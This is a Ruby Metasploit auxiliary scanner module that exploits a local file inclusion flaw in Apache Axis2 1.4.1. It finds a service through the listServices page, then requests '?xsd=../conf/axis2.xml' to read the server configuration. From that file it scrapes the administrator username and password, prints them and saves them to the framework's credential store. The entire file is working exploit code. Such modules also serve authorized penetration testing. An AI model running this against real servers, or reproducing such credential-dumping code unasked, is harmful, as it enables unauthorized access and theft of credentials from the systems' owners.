##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner


	def initialize
		super(
			'Name'           => 'Apache Axis2 v1.4.1 Local File Inclusion',
			'Version'        => '$Revision$',
			'Description'    => %q{
					This module exploits an Apache Axis2 v1.4.1 local file inclusion (LFI) vulnerability.
				By loading a local XML file which contains a cleartext username and password, attackers can trivially
				recover authentication credentials to Axis services.
			},
			'References'     =>
				[
					['EDB', 12721],
					['OSVDB', '59001'],
				],
			'Author'         =>
				[
					'==[ Alligator Security Team ]==',
					'Tiago Ferreira <tiago.ccna[at]gmail.com>'
				],
			'License'        =>  MSF_LICENSE
		)

		register_options([
			Opt::RPORT(8080),
			OptString.new('URI', [false, 'The path to the Axis listServices', '/axis2/services/listServices']),
		], self.class)
	end

	def target_url
		"http://#{vhost}:#{rport}#{datastore['URI']}"
	end

	def run_host(ip)
		uri = datastore['URI']

		begin
			res = send_request_raw({
				'method'  => 'GET',
				'uri'     => uri,
			}, 25)

			if (res and res.code == 200)
				extract_uri = res.body.to_s.match(/\/axis2\/services\/([^\s]+)\?/)
				new_uri = "/axis2/services/#{$1}"

				get_credentials(new_uri)

			else
				print_status("#{target_url} - Apache Axis - The remote page not accessible")
				return

			end

		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
		rescue ::Timeout::Error, ::Errno::EPIPE

		end
	end

	def get_credentials(uri)
		lfi_payload = "?xsd=../conf/axis2.xml"

		begin
			res = send_request_raw({
				'method'  => 'GET',
				'uri'     => "#{uri}" + lfi_payload,
			}, 25)

			print_status("#{target_url} - Apache Axis - Dumping administrative credentials")

			if (res and res.code == 200)
				if res.body.to_s.match(/axisconfig/)

					res.body.scan(/parameter\sname=\"userName\">([^\s]+)</)
					username = $1
					res.body.scan(/parameter\sname=\"password\">([^\s]+)</)
					password = $1

					print_good("#{target_url} - Apache Axis - Credentials Found Username: '#{username}' - Password: '#{password}'")

					report_auth_info(
						:host => rhost,
						:port => rport,
						:sname => (ssl ? 'https' : 'http'),
						:user => username,
						:pass => password,
						:proof => "WEBAPP=\"Apache Axis\", VHOST=#{vhost}",
						:active => true
					)

				else
					print_error("#{target_url} - Apache Axis - Not Vulnerable")
					return :abort
				end

			else
				print_error("#{target_url} - Apache Axis - Unrecognized #{res.code} response")
				return :abort

			end

		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
		rescue ::Timeout::Error, ::Errno::EPIPE
		end
	end
end